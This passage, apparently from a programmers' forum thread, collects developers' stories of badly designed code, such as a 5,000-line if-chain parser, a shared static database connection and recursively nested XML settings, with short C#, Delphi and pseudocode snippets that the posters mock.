for (int idx = 0; idx < arrays.count- 1; idx++)
{
currArray = arrays[idx];
nextArray = arrays[idx+1];
SetFirstToZero(currArray);
SetLastToZero(nextArray);
//This is where the fun starts
if (idx == 0)
{
SetLastToZero(currArray);
}
if (idx == arrays.count- 1)
{
SetFirstToZero(nextArray);
}
}
}
Of course, the point was that every sub-array had to get this done, both operations, on all items. I''m just not sure how a programmer can decide on something like this.
Instead of writing a Windows service for a server process that needed to run constantly one of our "architects" wrote a console app and used the task scheduler to run it every 60 seconds.
Keep in mind this is in .NET where services are very easy to create.
-
Also, at the same place a console app was used to host a .NET remoting service, so they had to start the console app and lock a session to keep it running every time the server was rebooted.
-
At the last place I worked one of the architects had a single C# source code file with over 100 classes that was something like 250K in size.
Maybe not evil, but certainly rather, um... misguided.
I once had to rewrite a "natural language parser" that was implemented as a single 5,000 line if...then statement.
as in...
if (text == "hello" || text == "hi")
response = "hello";
else if (text == "goodbye")
response = "bye";
else
...
My colleague likes to recall that ASP.NET application which used a public static
database connection for all database work.
Yes, one connection for all requests. And no, there was no locking done either.
Once after our client teams reported some weird problems, we noticed that two different versions of the application was pointing to the same database. (while deploying the new system to them, their database was upgraded, but everyone forgot to bring down their old system)
This was a miracle escape..
And since then, we have an automated build and deploy process, thankfully :-)
Really evil was this piece of brilliant delphi code:
type
TMyClass = class
private
FField : Integer;
public
procedure DoSomething;
end;
var
myclass : TMyClass;
procedure TMyClass.DoSomething;
begin
myclass.FField := xxx; //
end;
It worked great if there was only one instance of a class. But unfortunately I had to use an other instance and that created lots of interesting bugs.
When I found this jewel, I can''t remember if I fainted or screamed, probably both.
SQL queries right there in javascript in an ASP application. Can''t get any dirtier...
Similar to what someone else mentioned above:
I worked in a place that had a pseudo-scripting language in the application. It fed into a massive method that had some 30 parameters and a giant Select Case
statement.
It was time to add more parameters, but the guy on the team who had to do it realized that there were too many already.
His solution?
He added a single object
parameter on the end, so he could pass in anything he wanted and then cast it.
I couldn''t get out of that place fast enough.
We had an application that loaded all of it''s global state in an xml file. No problem with that, except that the developer had created a new form of recursion.
<settings>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
Then comes the fun part. When the application loads, it runs through the list of properties and adds them to a global (flat) list, along with incrementing a mystery counter. The mystery counter is named something totally irrelevant and is used in mystery calculations:
List properties = new List();
Node<-root
while node.hasNode("property")
add to properties list
my_global_variable++;
if hasNode("property")
node=getNode("property"), ... etc etc
And then you get functions like
calculateSumOfCombinations(int x, int y){
return x+y+my_global_variable;
}
edit: clarification - Took me a long time to figure out that he was counting the depth of the recursion, because at level 6 or 7 the properties changed meaning, so he was using the counter to split his flat set into 2 sets of different types, kind of like having a list of STATE, STATE, STATE, CITY, CITY, CITY and checking if the index > counter to see if your name is a city or state)